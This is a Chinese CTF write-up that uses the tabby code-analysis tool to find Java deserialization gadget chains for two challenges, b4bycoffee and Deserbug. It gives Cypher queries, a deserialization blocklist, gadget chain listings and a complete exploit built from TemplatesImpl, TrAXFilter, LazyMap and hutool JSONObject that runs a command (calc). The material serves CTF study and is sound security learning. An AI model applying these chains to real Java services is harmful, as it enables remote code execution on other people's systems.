环境配置

参考作者的环境配置

https://github.com/wh1t3p1g/tabby

https://github.com/wh1t3p1g/tabby/wiki/Tabby

想要带上jdk一起分析,需要打开这个配置

1
tabby.build.isJDKProcess                  = true

语法可以参考

https://www.w3cschool.cn/neo4j/

https://www.jianshu.com/p/0e44cadbe194

b4bycoffee

题目存在反序列化入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping({"/b4by/coffee"})
public Message order(@RequestBody CoffeeRequest coffee) throws IOException, ClassNotFoundException, ConfigurationException {
if (coffee.Venti != null) {
InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.Venti));
AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
Venti venti = (Venti)antInputStream.readObject();
return new Message(200, venti.getcoffeeName());
}
if (coffee.espresso > 0.5D)
return new Message(200, "DOPPIO");
if (coffee.hotWater > 0.5D)
return new Message(200, "AMERICANO");
if (coffee.milkFoam > 0.0D && coffee.steamMilk > 0.0D)
return (coffee.steamMilk > coffee.milkFoam) ? new Message(200, "CAPPUCCINO") : new Message(200, "Latte");
return (coffee.espresso > 0.0D) ? new Message(200, "Espresso") : new Message(200, "empty");
}

题目所给的coffeeBean这个类中存在恶意方法toString,可以执行字节码,这里要找的就是readObject->toString的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
public String toString() {
CoffeeBean coffeeBean = new CoffeeBean();
Class clazz = coffeeBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "A cup of Coffee --";
}

题目的依赖有rome,版本是1.7,rome常见的利用链如下

Gadget 长度
BadAttributeValueExpException利用链 3620
ObjectBean利用链 3428
HashTable利用链 3484
EqualsBean利用链 2920

反序列化的黑名单如下

1
2
3
4
5
6
7
8
9
public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list = new ArrayList<>();
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(ToStringBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
}

可以看到这里是能用EqualsBean这条链子的,具体如下

1
2
3
4
5
java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

这里也可以使用tabby验证一下,顺便找找有没有别的利用链,这里使用的函数是findJavaGadget,找java.util.HashMap的readObject能触发到toString的链子

1
2
3
4
5
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME:"toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 12, false, false) yield path where none(n in nodes(path) where n.CLASSNAME in ["javax.management.BadAttributeValueExpException","com.sun.jmx.snmp.SnmpEngineId","com.sun.xml.internal.ws.api.BindingID","javax.swing.text.html.HTML$UnknownTag"])
return path limit 5

查找的结果如下,其中存在一个节点,com.sun.org.apache.xpath.internal.objects.XString,他的equals方法会触发toString,满足我们的要求

image-20230606125918920

具体链子也很简单,是不需要rome依赖的

1
2
3
4
5
java.util.HashMap#readObject
java.util.HashMap#putVal
java.lang.Object#equals
com.sun.org.apache.xpath.internal.objects.XString#equals
com.example.b4bycoffee.model.CoffeeBean#toString

这里的具体触发需要构造一下,因为HashMap的putVal触发equals是有条件的

一种方式是构造两个HashMap

1
2
3
4
5
6
7
8
9
10
11
CoffeeBean coffeeBean = new CoffeeBean();
setFieldValue(coffeeBean, "ClassByte", code);
XString xString = new XString("11111");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy",coffeeBean);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",coffeeBean);
Object o = makeMap(map1,map2);

另一种是利用HotSwappableTargetSource

1
2
3
4
5
6
7
8
CoffeeBean coffeeBean = new CoffeeBean();
setFieldValue(coffeeBean, "ClassByte", code);

XString xString = new XString("11111");

HotSwappableTargetSource v1 = new HotSwappableTargetSource(coffeeBean);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(xString);
Object o = makeMap(v1,v2);

Deserbug

国赛的一道题目,依赖是cc-3.2.2还有hutool-5.8.18

比赛时放出的hint:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

hutool 里面有 JSONArray 和 JSONObject 类, 看名字感觉很像 fastjson 的类,但实际上经过测试它们只会在 add / put 的时候触发任意 getter / setter,调用 toString 时并不会触发

具体如何触发,可以利用cc中的LazyMap这个类

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

原先cc链中是利用LazyMap来触发transform,这里可以用来触发put

我们也可以利用tabby来找到这条利用链

1
2
3
4
5
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME:"put",CLASSNAME:"cn.hutool.json.JSONObject"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path where any(n in nodes(path) where n.CLASSNAME starts with "org.apache.commons.collections.")
return path limit 1

image-20230606211912808

当我们能够任意触发getter后可以想到直接使用TemplateImpl来执行字节码,但是hutool源码中有这样的处理

1
return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);

如果是JSONObejct里面是jdk的内部类,则会直接返回object.toString(),不是内部类才会返回JSONObject,所以这里想调用TemplateImpl需要用到题目中的的Myexpect类,触发getAnyexcept()方法

1
2
3
4
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}

再调用TrAXFilter的构造函数即可走到TemplateImpl中

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}

最终的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
    public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "A.R.");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
// myexpect.getAnyexcept();
ConstantTransformer constantTransformer = new ConstantTransformer(1);

JSONObject jsonObject = new JSONObject();
// jsonObject.put("name",myexpect);
Map lazyMap = LazyMap.decorate(jsonObject, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
// tiedMapEntry.hashCode();
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"aaa");

setFieldValue(constantTransformer,"iConstant",myexpect);
jsonObject.clear();

String b64 = serialize(hashMap);
System.out.println(b64);
unserialize(b64);
}

Reference

https://mp.weixin.qq.com/s/u7RuSmBHy76R7_PqL8WJww

https://www.w3cschool.cn/neo4j/